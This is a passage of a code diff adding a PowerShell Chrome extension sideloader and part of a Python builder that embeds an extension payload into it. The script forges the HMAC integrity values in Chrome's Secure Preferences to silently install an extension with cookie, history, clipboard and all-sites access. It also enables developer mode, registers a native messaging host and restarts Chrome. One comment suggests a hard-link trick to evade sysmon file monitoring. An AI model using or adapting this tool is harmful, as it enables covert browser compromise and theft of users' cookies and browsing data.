|
||||
foreach ($key in $sortedKeys) {
|
||||
$value = $obj.$key
|
||||
$sortedValue = Sort-ObjectRecursively $value
|
||||
$sortedObj | Add-Member -MemberType NoteProperty -Name $key -Value $sortedValue
|
||||
}
|
||||
return $sortedObj
|
||||
}
|
||||
elseif ($obj -is [hashtable]) {
|
||||
# For hashtables, convert to PSCustomObject first, then sort
|
||||
$sortedObj = [PSCustomObject]@{}
|
||||
$sortedKeys = $obj.Keys | Sort-Object
|
||||
|
||||
foreach ($key in $sortedKeys) {
|
||||
$value = $obj[$key]
|
||||
$sortedValue = Sort-ObjectRecursively $value
|
||||
$sortedObj | Add-Member -MemberType NoteProperty -Name $key -Value $sortedValue
|
||||
}
|
||||
return $sortedObj
|
||||
}
|
||||
else {
|
||||
# For primitive values, return as-is
|
||||
return $obj
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
# Recursively sort all object keys while preserving array order
|
||||
$sortedObject = Sort-ObjectRecursively $InputObject
|
||||
|
||||
# Convert to JSON with array preservation
|
||||
if ($sortedObject -is [array]) {
|
||||
# Handle top-level arrays specially to prevent flattening
|
||||
$arrayElements = @()
|
||||
foreach ($element in $sortedObject) {
|
||||
# Force conversion to PSCustomObject if needed before JSON conversion
|
||||
if ($element -is [hashtable]) {
|
||||
$element = [PSCustomObject]$element
|
||||
}
|
||||
$arrayElements += ($element | ConvertTo-JsonWithEscaping -Compress:$Compress -Depth $Depth)
|
||||
}
|
||||
return "[$($arrayElements -join ',')]"
|
||||
} else {
|
||||
# Force conversion to PSCustomObject if needed before JSON conversion
|
||||
if ($sortedObject -is [hashtable]) {
|
||||
$sortedObject = [PSCustomObject]$sortedObject
|
||||
}
|
||||
return $sortedObject | ConvertTo-JsonWithEscaping -Compress:$Compress -Depth $Depth
|
||||
}
|
||||
}
|
||||
catch {
|
||||
# If sorting fails, fall back to regular ConvertTo-Json
|
||||
return $InputObject | ConvertTo-JsonWithEscaping -Compress:$Compress -Depth $Depth
|
||||
}
|
||||
}
|
||||
|
||||
function Convert-StringToByteArray {
|
||||
param(
|
||||
[string]$Hex
|
||||
)
|
||||
|
||||
$bytes = @()
|
||||
for ($i = 0; $i -lt $Hex.Length; $i += 2) {
|
||||
$bytes += [System.Convert]::ToByte($Hex.Substring($i, 2), 16)
|
||||
}
|
||||
return $bytes
|
||||
}
|
||||
|
||||
function Calculate-ExtensionIdFromPath {
|
||||
param(
|
||||
[string]$Path
|
||||
)
|
||||
|
||||
$unicodeBytes = [System.Text.Encoding]::Unicode.GetBytes($Path)
|
||||
$sha256 = [System.Security.Cryptography.SHA256]::Create()
|
||||
$hashBytes = $sha256.ComputeHash($unicodeBytes)
|
||||
$sha256.Dispose()
|
||||
|
||||
$hexString = ""
|
||||
foreach ($b in $hashBytes) {
|
||||
$hexString += $b.ToString("x2")
|
||||
}
|
||||
|
||||
$extensionId = ""
|
||||
for ($i = 0; $i -lt 32; $i++) {
|
||||
$hexChar = $hexString[$i]
|
||||
$hexVal = [System.Convert]::ToInt32($hexChar.ToString(), 16)
|
||||
$extensionId += [char]($hexVal + 97)
|
||||
}
|
||||
|
||||
return $extensionId
|
||||
}
|
||||
|
||||
function ConvertTo-DeepPSCustomObject {
|
||||
param($InputObject)
|
||||
|
||||
if ($InputObject -is [hashtable]) {
|
||||
$result = [PSCustomObject]@{}
|
||||
foreach ($key in $InputObject.Keys) {
|
||||
$result | Add-Member -MemberType NoteProperty -Name $key -Value (ConvertTo-DeepPSCustomObject -InputObject $InputObject[$key])
|
||||
}
|
||||
return $result
|
||||
}
|
||||
elseif ($InputObject -is [PSCustomObject]) {
|
||||
$result = [PSCustomObject]@{}
|
||||
foreach ($prop in $InputObject.PSObject.Properties) {
|
||||
$result | Add-Member -MemberType NoteProperty -Name $prop.Name -Value (ConvertTo-DeepPSCustomObject -InputObject $prop.Value)
|
||||
}
|
||||
return $result
|
||||
}
|
||||
elseif ($InputObject -is [array]) {
|
||||
$result = @()
|
||||
foreach ($item in $InputObject) {
|
||||
$result += ConvertTo-DeepPSCustomObject -InputObject $item
|
||||
}
|
||||
return $result
|
||||
}
|
||||
else {
|
||||
return $InputObject
|
||||
}
|
||||
}
|
||||
|
||||
function Sort-AndCullJson {
|
||||
param(
|
||||
[string]$JsonString
|
||||
)
|
||||
|
||||
function Remove-EmptyJsonValues {
|
||||
param([string]$JsonString)
|
||||
|
||||
# Remove empty objects: {}
|
||||
$JsonString = $JsonString -replace ',"[^"]*":\{\}', ''
|
||||
$JsonString = $JsonString -replace '\{"[^"]*":\{\},?', '{'
|
||||
$JsonString = $JsonString -replace ',\{\}', ''
|
||||
|
||||
# Remove empty arrays: []
|
||||
$JsonString = $JsonString -replace ',"[^"]*":\[\]', ''
|
||||
$JsonString = $JsonString -replace '\{"[^"]*":\[\],?', '{'
|
||||
$JsonString = $JsonString -replace ',\[\]', ''
|
||||
|
||||
# Remove empty strings: ""
|
||||
$JsonString = $JsonString -replace ',"[^"]*":""', ''
|
||||
$JsonString = $JsonString -replace '\{"[^"]*":"",?', '{'
|
||||
$JsonString = $JsonString -replace ',""', ''
|
||||
|
||||
# Remove null values
|
||||
$JsonString = $JsonString -replace ',"[^"]*":null', ''
|
||||
$JsonString = $JsonString -replace '\{"[^"]*":null,?', '{'
|
||||
$JsonString = $JsonString -replace ',null', ''
|
||||
|
||||
# Clean up trailing commas
|
||||
$JsonString = $JsonString -replace ',\}', '}'
|
||||
$JsonString = $JsonString -replace ',\]', ']'
|
||||
|
||||
return $JsonString
|
||||
}
|
||||
|
||||
function Sort-TopLevelJsonKeys {
|
||||
param([string]$JsonString)
|
||||
|
||||
# Parse as object to get proper structure, then manually rebuild with sorted keys
|
||||
# This is used for HMAC generation, so it works with the culled JSON string
|
||||
try {
|
||||
$obj = $JsonString | ConvertFrom-Json
|
||||
|
||||
# Get all property names and sort them
|
||||
$sortedKeys = $obj.PSObject.Properties.Name | Sort-Object
|
||||
|
||||
# Rebuild JSON with sorted keys but preserve nested structure
|
||||
$sortedPairs = @()
|
||||
foreach ($key in $sortedKeys) {
|
||||
$value = $obj.$key
|
||||
|
||||
# Handle arrays specially to prevent flattening
|
||||
if ($value -is [array]) {
|
||||
# Convert array elements individually and wrap in brackets
|
||||
$arrayElements = @()
|
||||
foreach ($element in $value) {
|
||||
$arrayElements += ($element | ConvertTo-JsonWithEscaping -Compress -Depth 100)
|
||||
}
|
||||
$valueJson = "[$($arrayElements -join ',')]"
|
||||
} else {
|
||||
# For certain problematic objects, use ConvertTo-JsonSorted instead
|
||||
if ($key -eq "account_values") {
|
||||
# Deep convert to ensure all nested objects are PSCustomObjects
|
||||
$cleanValue = ConvertTo-DeepPSCustomObject -InputObject $value
|
||||
$valueJson = $cleanValue | ConvertTo-JsonSorted -Compress
|
||||
} else {
|
||||
$valueJson = $value | ConvertTo-JsonWithEscaping -Compress -Depth 100
|
||||
}
|
||||
}
|
||||
|
||||
$sortedPairs += "`"$key`":$valueJson"
|
||||
}
|
||||
|
||||
return "{$($sortedPairs -join ',')}"
|
||||
}
|
||||
catch {
|
||||
# If parsing fails, return original
|
||||
return $JsonString
|
||||
}
|
||||
}
|
||||
|
||||
$cleanedJson = Remove-EmptyJsonValues -JsonString $JsonString
|
||||
$jsonResult = Sort-TopLevelJsonKeys -JsonString $cleanedJson
|
||||
|
||||
# Convert Unicode escape sequences back to ASCII characters
|
||||
$jsonResult = $jsonResult -replace '\\u003C', '<'
|
||||
$jsonResult = $jsonResult -replace '\\u003E', '>'
|
||||
|
||||
# We need to escape the < character back to this very specific encoding to perfectly match Chrome's hashing
|
||||
$jsonResult = $jsonResult.Replace('<', '\u003C')
|
||||
|
||||
return $jsonResult
|
||||
}
|
||||
|
||||
function Calc-HMACFromString {
|
||||
param(
|
||||
[string]$String,
|
||||
[string]$JsonPath,
|
||||
[byte[]]$Key,
|
||||
[string]$DeviceId
|
||||
)
|
||||
|
||||
$deviceIdBytes = [System.Text.Encoding]::UTF8.GetBytes($DeviceId)
|
||||
$jsonPathBytes = [System.Text.Encoding]::UTF8.GetBytes($JsonPath)
|
||||
$contentBytes = [System.Text.Encoding]::UTF8.GetBytes($String)
|
||||
$msg = $deviceIdBytes + $jsonPathBytes + $contentBytes
|
||||
|
||||
$hmac = [System.Security.Cryptography.HMACSHA256]::new($Key)
|
||||
$computedHash = $hmac.ComputeHash($msg)
|
||||
$hmac.Dispose()
|
||||
$hexString = [System.BitConverter]::ToString($computedHash).Replace("-", "").ToUpper()
|
||||
return $hexString
|
||||
}
|
||||
|
||||
function Calc-HMACFromJson {
|
||||
param(
|
||||
[string]$JsonContent,
|
||||
[string]$JsonPath,
|
||||
[byte[]]$Key,
|
||||
[string]$DeviceId
|
||||
)
|
||||
|
||||
if ([string]::IsNullOrEmpty($JsonContent)) {
|
||||
throw "JsonContent cannot be null or empty"
|
||||
}
|
||||
|
||||
# Normalize the JSON by removing all empty objects + arrays and alphabetizing content
|
||||
$fixedContent = Sort-AndCullJson -JsonString $JsonContent
|
||||
|
||||
if ([string]::IsNullOrEmpty($fixedContent)) {
|
||||
throw "Sort-AndCullJson returned null or empty content"
|
||||
}
|
||||
|
||||
# Build the message: deviceId + path + content
|
||||
$deviceIdBytes = [System.Text.Encoding]::UTF8.GetBytes($DeviceId)
|
||||
$jsonPathBytes = [System.Text.Encoding]::UTF8.GetBytes($JsonPath)
|
||||
$contentBytes = [System.Text.Encoding]::UTF8.GetBytes($fixedContent)
|
||||
|
||||
$msg = $deviceIdBytes + $jsonPathBytes + $contentBytes
|
||||
|
||||
|
||||
# $keyHex = [System.BitConverter]::ToString($Key).Replace("-", "").ToLower()
|
||||
#Write-Host "Key: $keyHex"
|
||||
# Write-Host "Calculating HMAC for message:"
|
||||
# $valHex = [System.BitConverter]::ToString($msg).Replace("-", "").ToLower()
|
||||
#Write-Host "Message Length: $($msg.Length)"
|
||||
# $msgString = [System.Text.Encoding]::UTF8.GetString($msg)
|
||||
# Write-Host "Message: $msgString"
|
||||
# $msgHex = [System.BitConverter]::ToString($msg).Replace("-", "").ToLower()
|
||||
#Write-Host "MessageHex: $msgHex"
|
||||
|
||||
# Calculate HMAC-SHA256
|
||||
$hmac = [System.Security.Cryptography.HMACSHA256]::new($Key)
|
||||
|
||||
$computedHash = $hmac.ComputeHash($msg)
|
||||
$hmac.Dispose()
|
||||
|
||||
$hexString = [System.BitConverter]::ToString($computedHash).Replace("-", "").ToUpper()
|
||||
return $hexString
|
||||
}
|
||||
|
||||
# ExtensionSideloader functions
|
||||
function Get-SuperMacFromSecurePrefJson {
|
||||
param([string]$SecurePrefJson)
|
||||
|
||||
$securePrefObj = $SecurePrefJson | ConvertFrom-Json
|
||||
return $securePrefObj.protection.super_mac
|
||||
}
|
||||
|
||||
function Set-SuperMacForSecurePrefJson {
|
||||
param([string]$SecurePrefJson, [string]$NewSuperMac)
|
||||
|
||||
$securePrefObj = $SecurePrefJson | ConvertFrom-Json
|
||||
$securePrefObj.protection.super_mac = $NewSuperMac
|
||||
return $securePrefObj | ConvertTo-JsonSorted -Compress
|
||||
}
|
||||
|
||||
function Add-ExtensionToSecurePrefJson {
|
||||
param(
|
||||
[string]$SecurePref,
|
||||
[string]$JsonToAdd,
|
||||
[string]$InstallPath,
|
||||
[string]$DeviceId,
|
||||
[byte[]]$Key
|
||||
)
|
||||
|
||||
Write-Host "Adding Extension for install path $InstallPath"
|
||||
|
||||
$addedExtension = $JsonToAdd | ConvertFrom-Json
|
||||
$addedExtension | Add-Member -MemberType NoteProperty -Name "path" -Value $InstallPath -Force
|
||||
$extensionWithPath = ConvertTo-Json $addedExtension -Compress -Depth 100
|
||||
|
||||
Write-Host "Extension with path value: $extensionWithPath"
|
||||
|
||||
Write-Host "Setting Path in extensionJSON to $InstallPath"
|
||||
|
||||
Write-Host "Parsing Existing Preferences Object"
|
||||
$securePrefObj = $SecurePref | ConvertFrom-Json
|
||||
|
||||
# Robustly ensure extensions and settings exist and are objects
|
||||
if (-not $securePrefObj.PSObject.Properties['extensions']) {
|
||||
$securePrefObj | Add-Member -MemberType NoteProperty -Name "extensions" -Value ([PSCustomObject]@{}) -Force
|
||||
} elseif ($null -eq $securePrefObj.extensions -or $securePrefObj.extensions -isnot [object]) {
|
||||
$securePrefObj.extensions = [PSCustomObject]@{}
|
||||
}
|
||||
|
||||
if (-not $securePrefObj.extensions.PSObject.Properties['settings']) {
|
||||
$securePrefObj.extensions | Add-Member -MemberType NoteProperty -Name "settings" -Value ([PSCustomObject]@{}) -Force
|
||||
} elseif ($null -eq $securePrefObj.extensions.settings -or $securePrefObj.extensions.settings -isnot [object]) {
|
||||
$securePrefObj.extensions.settings = [PSCustomObject]@{}
|
||||
}
|
||||
|
||||
$extensionSettingsListObj = $securePrefObj.extensions.settings
|
||||
|
||||
if ($null -eq $extensionSettingsListObj) {
|
||||
Write-Host "Error: extensionSettingsListObj is null, creating new object" -ForegroundColor Red
|
||||
$extensionSettingsListObj = [PSCustomObject]@{}
|
||||
$securePrefObj.extensions.settings = $extensionSettingsListObj
|
||||
}
|
||||
|
||||
$calculatedId = Calculate-ExtensionIdFromPath -Path $InstallPath
|
||||
Write-Host "CalculatedID of $calculatedId"
|
||||
$extensionSettingsListObj | Add-Member -MemberType NoteProperty -Name "$calculatedId" -Value $addedExtension -Force
|
||||
|
||||
Write-Host "Calculating extension.settings HMAC"
|
||||
$path = "extensions.settings.$calculatedId"
|
||||
$calculatedExtensionMac = Calc-HMACFromJson -JsonContent $extensionWithPath -JsonPath $path -Key $Key -DeviceId $DeviceId
|
||||
Write-Host "HMAC is calculated to be $calculatedExtensionMac"
|
||||
|
||||
# Robustly ensure nested properties exist and are objects
|
||||
if (-not $securePrefObj.PSObject.Properties['protection']) {
|
||||
$securePrefObj | Add-Member -MemberType NoteProperty -Name "protection" -Value ([PSCustomObject]@{}) -Force
|
||||
} elseif ($null -eq $securePrefObj.protection -or $securePrefObj.protection -is [string] -or ($securePrefObj.protection -isnot [PSCustomObject] -and $securePrefObj.protection -isnot [hashtable])) {
|
||||
$securePrefObj.protection = [PSCustomObject]@{}
|
||||
}
|
||||
|
||||
if (-not $securePrefObj.protection.PSObject.Properties['macs']) {
|
||||
$securePrefObj.protection | Add-Member -MemberType NoteProperty -Name "macs" -Value ([PSCustomObject]@{}) -Force
|
||||
} elseif ($null -eq $securePrefObj.protection.macs -or $securePrefObj.protection.macs -is [string] -or ($securePrefObj.protection.macs -isnot [PSCustomObject] -and $securePrefObj.protection.macs -isnot [hashtable])) {
|
||||
$securePrefObj.protection.macs = [PSCustomObject]@{}
|
||||
}
|
||||
|
||||
# Create super_mac object if it doesn't exist so we can set it
|
||||
if (-not $securePrefObj.protection.PSObject.Properties['super_mac']) {
|
||||
$securePrefObj.protection | Add-Member -MemberType NoteProperty -Name "super_mac" -Value ([PSCustomObject]@{}) -Force
|
||||
}
|
||||
|
||||
if (-not $securePrefObj.protection.macs.PSObject.Properties['extensions']) {
|
||||
$securePrefObj.protection.macs | Add-Member -MemberType NoteProperty -Name "extensions" -Value ([PSCustomObject]@{}) -Force
|
||||
} elseif ($null -eq $securePrefObj.protection.macs.extensions -or $securePrefObj.protection.macs.extensions -is [string] -or ($securePrefObj.protection.macs.extensions -isnot [PSCustomObject] -and $securePrefObj.protection.macs.extensions -isnot [hashtable])) {
|
||||
$securePrefObj.protection.macs.extensions = [PSCustomObject]@{}
|
||||
}
|
||||
|
||||
if (-not $securePrefObj.protection.macs.extensions.PSObject.Properties['settings']) {
|
||||
$securePrefObj.protection.macs.extensions | Add-Member -MemberType NoteProperty -Name "settings" -Value ([PSCustomObject]@{}) -Force
|
||||
} elseif ($null -eq $securePrefObj.protection.macs.extensions.settings -or $securePrefObj.protection.macs.extensions.settings -is [string] -or ($securePrefObj.protection.macs.extensions.settings -isnot [PSCustomObject] -and $securePrefObj.protection.macs.extensions.settings -isnot [hashtable])) {
|
||||
$securePrefObj.protection.macs.extensions.settings = [PSCustomObject]@{}
|
||||
}
|
||||
|
||||
$extensionsListObj = $securePrefObj.protection.macs.extensions.settings
|
||||
|
||||
# Set extensions.ui.developer_mode to true - create the objects if they don't exist
|
||||
if (-not $securePrefObj.extensions.PSObject.Properties['ui']) {
|
||||
$securePrefObj.extensions | Add-Member -MemberType NoteProperty -Name "ui" -Value ([PSCustomObject]@{}) -Force
|
||||
} elseif ($null -eq $securePrefObj.extensions.ui -or $securePrefObj.extensions.ui -is [string] -or ($securePrefObj.extensions.ui -isnot [PSCustomObject] -and $securePrefObj.extensions.ui -isnot [hashtable])) {
|
||||
$securePrefObj.extensions.ui = [PSCustomObject]@{}
|
||||
}
|
||||
|
||||
# Set extensions.ui.developer_mode to true - create the objects if they don't exist
|
||||
if (-not $securePrefObj.extensions.ui.PSObject.Properties['developer_mode']) {
|
||||
$securePrefObj.extensions.ui | Add-Member -MemberType NoteProperty -Name "developer_mode" -Value ([PSCustomObject]@{}) -Force
|
||||
}
|
||||
|
||||
$securePrefObj.extensions.ui.developer_mode = $true
|
||||
$path = "extensions.ui.developer_mode"
|
||||
$calculatedDeveloperModeMac = Calc-HMACFromString -String "true" -JsonPath $path -Key $Key -DeviceId $DeviceId
|
||||
|
||||
# Ensure protection.macs.extensions.ui exists before setting developer_mode
|
||||
if (-not $securePrefObj.protection.macs.extensions.PSObject.Properties['ui']) {
|
||||
$securePrefObj.protection.macs.extensions | Add-Member -MemberType NoteProperty -Name "ui" -Value ([PSCustomObject]@{}) -Force
|
||||
} elseif ($null -eq $securePrefObj.protection.macs.extensions.ui -or $securePrefObj.protection.macs.extensions.ui -is [string] -or ($securePrefObj.protection.macs.extensions.ui -isnot [PSCustomObject] -and $securePrefObj.protection.macs.extensions.ui -isnot [hashtable])) {
|
||||
$securePrefObj.protection.macs.extensions.ui = [PSCustomObject]@{}
|
||||
}
|
||||
|
||||
# Use Add-Member to safely add the developer_mode property
|
||||
$securePrefObj.protection.macs.extensions.ui | Add-Member -MemberType NoteProperty -Name "developer_mode" -Value $calculatedDeveloperModeMac -Force
|
||||
|
||||
if ($null -eq $extensionsListObj) {
|
||||
Write-Host "Error: extensionsListObj is null, creating new object" -ForegroundColor Red
|
||||
$extensionsListObj = [PSCustomObject]@{}
|
||||
$securePrefObj.protection.macs.extensions.settings = $extensionsListObj
|
||||
}
|
||||
|
||||
$extensionsListObj | Add-Member -MemberType NoteProperty -Name "$calculatedId" -Value $calculatedExtensionMac -Force
|
||||
Write-Host "Updated protection.macs.extensions.settings"
|
||||
return $securePrefObj
|
||||
}
|
||||
|
||||
# Install-NativeMessagingHost function
|
||||
function Install-NativeMessagingHost {
|
||||
param(
|
||||
[string]$ExtensionPath,
|
||||
[string]$NativeAppPath,
|
||||
[string]$ExtensionRegName,
|
||||
[string]$ExtensionDescription
|
||||
)
|
||||
|
||||
$nativeMessagingConfigPath = "$ExtensionPath\$ExtensionRegName.json"
|
||||
$linkedExtensionId = Calculate-ExtensionIdFromPath -Path $ExtensionPath
|
||||
|
||||
$configContent = @"
|
||||
{
|
||||
"name": "$ExtensionRegName",
|
||||
"description": "$ExtensionDescription",
|
||||
"path": "$($NativeAppPath.Replace('\', '\\'))",
|
||||
"type": "stdio",
|
||||
"allowed_origins": ["chrome-extension://$linkedExtensionId/"]
|
||||
}
|
||||
"@
|
||||
|
||||
$configContent | Out-File -FilePath $nativeMessagingConfigPath -Encoding UTF8
|
||||
|
||||
$regPath = "HKCU:\Software\Google\Chrome\NativeMessagingHosts\$ExtensionRegName"
|
||||
New-Item -Path $regPath -Force | Out-Null
|
||||
New-ItemProperty -Path $regPath -Name "(Default)" -Value $nativeMessagingConfigPath -PropertyType String -Force | Out-Null
|
||||
|
||||
# Check if 32-bit registry path exists before creating the key
|
||||
$regPath32Parent = "HKCU:\Software\Wow6432Node\Google\Chrome\NativeMessagingHosts"
|
||||
if (Test-Path $regPath32Parent) {
|
||||
try {
|
||||
$regPath32 = "$regPath32Parent\$ExtensionRegName"
|
||||
New-Item -Path $regPath32 -Force | Out-Null
|
||||
New-ItemProperty -Path $regPath32 -Name "(Default)" -Value $nativeMessagingConfigPath -PropertyType String -Force | Out-Null
|
||||
Write-Host "Successfully created 32-bit registry entry"
|
||||
}
|
||||
catch {
|
||||
Write-Host "Failed to set 32-bit registry key: $($_.Exception.Message)"
|
||||
}
|
||||
}
|
||||
else {
|
||||
Write-Host "32-bit Chrome registry path not found (this is normal if 32-bit Chrome is not installed)"
|
||||
}
|
||||
}
|
||||
|
||||
$ExtensionSettings = '{"account_extension_type":0,"active_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"manifest_permissions":[],"scriptable_host":["\u003Call_urls>"]},"commands":{},"content_settings":[],"creation_flags":38,"disable_reasons":[],"first_install_time":"13397690747955841","from_webstore":false,"granted_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"manifest_permissions":[],"scriptable_host":["\u003Call_urls>"]},"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13397690747955841","location":4,"newAllowFileAccess":true,"preferences":{},"regular_only_preferences":{},"service_worker_registration_info":{"version":"1.0"},"serviceworkerevents":["runtime.onInstalled","runtime.onStartup"],"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}'
|
||||
|
||||
function Main {
|
||||
try {
|
||||
Write-Host "Starting Chrome Extension Sideloader..." -ForegroundColor Green
|
||||
|
||||
|
||||
# Get Chrome paths and machine information
|
||||
$securePrefFilePrefPath = Get-SecurePreferencesPath
|
||||
$preferencesPath = Get-PreferencesPath
|
||||
|
||||
$deviceId = Get-DeviceId
|
||||
$key = Get-MachineKey
|
||||
$existingSecurePref = Get-Content -Path $securePrefFilePrefPath -Raw -Encoding UTF8
|
||||
$existingPreferences = Get-Content -Path $preferencesPath -Raw -Encoding UTF8
|
||||
|
||||
# Windows 11 by default just stores content in Preferences versus Secure Preferences, so update it there
|
||||
if (Is-Windows11){
|
||||
$existingSecurePref = $existingPreferences
|
||||
$securePrefFilePrefPath = $preferencesPath
|
||||
}
|
||||
|
||||
Write-Host "Device ID: $deviceId" -ForegroundColor Yellow
|
||||
Write-Host "Secure Preferences Path: $securePrefFilePrefPath" -ForegroundColor Yellow
|
||||
|
||||
# Install extension
|
||||
$extensionInstallPath = [Environment]::ExpandEnvironmentVariables($ExtensionInstallDir)
|
||||
Write-Host "Installing extension to: $extensionInstallPath" -ForegroundColor Cyan
|
||||
|
||||
# Extract embedded extension content
|
||||
Extract-EmbeddedExtension -ExtensionPath $extensionInstallPath
|
||||
|
||||
$modifiedPrefFileObj = Add-ExtensionToSecurePrefJson -SecurePref $existingSecurePref -JsonToAdd $ExtensionSettings -InstallPath $extensionInstallPath -DeviceId $deviceId -Key $key
|
||||
|
||||
$macsObj = $modifiedPrefFileObj.protection.macs
|
||||
$calculatedSuperMac = Calc-HMACFromJson -JsonContent ($macsObj | ConvertTo-JsonSorted -Compress) -JsonPath "" -Key $key -DeviceId $deviceId
|
||||
Write-Host "Calculated SuperMAC as $calculatedSuperMac"
|
||||
|
||||
$modifiedPrefFileObj.protection.super_mac = $calculatedSuperMac
|
||||
|
||||
Write-Host "Updating SuperMAC in Secure Preferences"
|
||||
|
||||
# As a potential evasion measure, we could create a hard link to Preferences and write to that instead:
|
||||
# New-Item -ItemType HardLink -Path .\WhateverAliasWeWant -Target .\Preferences
|
||||
# $stuffToWrite | Out-File -FilePath .\WhateverAliasWeWant -Encoding UTF8 <- This will avoid sysmon file monitoring for writes to Preferences
|
||||
$modifiedPrefFileObj | ConvertTo-Json -Compress -Depth 100 | Out-File -FilePath $securePrefFilePrefPath -Encoding UTF8
|
||||
Write-Host "Secure Preferences file updated successfully!" -ForegroundColor Green
|
||||
|
||||
# Install native messaging host if specified
|
||||
if ($InstallNativeMessagingHost -eq "true") {
|
||||
$hostPath = $extensionInstallPath + "\NativeAppHost.exe"
|
||||
Write-Host "Installing native messaging host to: $hostPath" -ForegroundColor Cyan
|
||||
|
||||
$extensionName = Split-Path $ExtensionInstallDir -Leaf
|
||||
$lowerCaseExtensionName = $extensionName.ToLower()
|
||||
Install-NativeMessagingHost -ExtensionPath $extensionInstallPath -NativeAppPath $hostPath -ExtensionRegName $lowerCaseExtensionName -ExtensionDescription $ExtensionDescription
|
||||
}
|
||||
|
||||
# Force restart Chrome if specified
|
||||
if ($ForceRestartChrome -eq "true") {
|
||||
Write-Host "Force restarting Chrome..." -ForegroundColor Yellow
|
||||
|
||||
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue
|
||||
if ($chromeProcesses) {
|
||||
Write-Host "Terminating Chrome processes..." -ForegroundColor Yellow
|
||||
$chromeProcesses | Stop-Process -Force
|
||||
|
||||
while (Get-Process -Name "chrome" -ErrorAction SilentlyContinue) {
|
||||
Start-Sleep -Milliseconds 10
|
||||
}
|
||||
}
|
||||
|
||||
$userPreferencePath = $preferencesPath
|
||||
if (Test-Path $userPreferencePath) {
|
||||
$userPreferenceContent = Get-Content -Path $userPreferencePath -Raw -Encoding UTF8
|
||||
$userPreferenceContent = $userPreferenceContent.Replace('"exit_type":"Crashed"', '"exit_type":"none"')
|
||||
$userPreferenceContent | Out-File -FilePath $userPreferencePath -Encoding UTF8
|
||||
Write-Host "Updated Chrome preferences to remove crash flag" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
$chromePath = (Get-ChromeApplicationPath) + "\..\chrome.exe"
|
||||
if (Test-Path $chromePath) {
|
||||
Start-Process -FilePath $chromePath -ArgumentList "--restore-last-session"
|
||||
Write-Host "Chrome restarted with session restore" -ForegroundColor Green
|
||||
}
|
||||
else {
|
||||
Write-Host "Chrome executable not found at: $chromePath" -ForegroundColor Red
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "Chrome Extension Sideloader completed successfully!" -ForegroundColor Green
|
||||
}
|
||||
catch {
|
||||
Write-Host "Error: $($_.Exception.Message)" -ForegroundColor Red
|
||||
Write-Host "Stack Trace: $($_.ScriptStackTrace)" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
}
|
||||
|
||||
# These functions will be replaced by the Python builder with actual extraction logic
|
||||
function Extract-EmbeddedExtension {
|
||||
param([string]$ExtensionPath)
|
||||
# This will be replaced by the Python builder
|
||||
throw "Extract-EmbeddedExtension function not implemented - this should be replaced by the Python builder"
|
||||
}
|
||||
|
||||
# Run the main function only if this script is being executed directly (not dot-sourced)
|
||||
if ($MyInvocation.InvocationName -ne '.') {
|
||||
Write-Host "Starting Chrome Extension Sideloader..." -ForegroundColor Green
|
||||
Write-Host "Running Main function" -ForegroundColor Green
|
||||
Main
|
||||
} else {
|
||||
Write-Host "Script was dot-sourced, functions are now available but Main() was not called" -ForegroundColor Yellow
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
#!/usr/bin/env python3
|
||||
r"""
|
||||
Chrome Extension Sideloader Builder
|
||||
|
||||
This script creates a self-contained PowerShell script that embeds extension content
|
||||
and optionally a native messaging host, then deploys them to the specified location.
|
||||
|
||||
Usage:
|
||||
python build_sideloader.py <extension_folder> <install_path>
|
||||
|
||||
Example:
|
||||
python build_sideloader.py ./myextension "%LOCALAPPDATA%\Google\com.chrome.alone"
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import zipfile
|
||||
import base64
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
def zip_folder(folder_path):
|
||||
"""Create a ZIP file from a folder and return it as bytes."""
|
||||
folder_path = Path(folder_path)
|
||||
if not folder_path.exists() or not folder_path.is_dir():
|
||||
raise ValueError(f"Extension folder does not exist: {folder_path}")
|
||||
|
||||
zip_data = BytesIO()
|
||||
|
||||
with zipfile.ZipFile(zip_data, 'w', zipfile.ZIP_DEFLATED) as zipf:
|
||||
for root, dirs, files in os.walk(folder_path):
|
||||
for file in files:
|
||||
file_path = Path(root) / file
|
||||
arc_name = file_path.relative_to(folder_path)
|
||||
zipf.write(file_path, arc_name)
|
||||
|
||||
return zip_data.getvalue()
|
||||
|
||||
|
||||
def read_file_as_base64(file_path):
|
||||
"""Read a file and return its base64 encoded content."""
|
||||
file_path = Path(file_path)
|
||||
if not file_path.exists():
|
||||
raise ValueError(f"File does not exist: {file_path}")
|
||||
|
||||
with open(file_path, 'rb') as f:
|
||||
content = f.read()
|
||||
|
||||
return base64.b64encode(content).decode('utf-8')
|
||||
|
||||
|
||||
def create_extraction_functions(extension_base64):
|
||||
"""Create the PowerShell extraction functions."""
|
||||
|
||||
extract_extension_func = f'''
|
||||
function Extract-EmbeddedExtension {{
|
||||
param([string]$ExtensionPath)
|
||||
|
||||
Write-Host "Extracting embedded extension to: $ExtensionPath" -ForegroundColor Cyan
|
||||
|
||||
# Create directory if it doesn't exist, or clear existing content
|
||||
if (Test-Path $ExtensionPath) {{
|
||||
Write-Host "Clearing existing extension directory..." -ForegroundColor Yellow
|
||||
Remove-Item $ExtensionPath -Recurse -Force
|
||||
}}
|
||||
New-Item -ItemType Directory -Path $ExtensionPath -Force | Out-Null
|
||||
|
||||
# Decode and extract the embedded extension
|
||||
$extensionZipBase64 = "{extension_base64}"
|
||||
$extensionZipBytes = [System.Convert]::FromBase64String($extensionZipBase64)
|
||||
|
||||
# Create temporary ZIP file
|
||||
$tempZipPath = [System.IO.Path]::GetTempFileName()
|
||||
[System.IO.File]::WriteAllBytes($tempZipPath, $extensionZipBytes)
|
||||
|
||||
try {{
|
||||
# Extract ZIP contents
|
||||
Add-Type -AssemblyName System.IO.Compression.FileSystem
|
||||
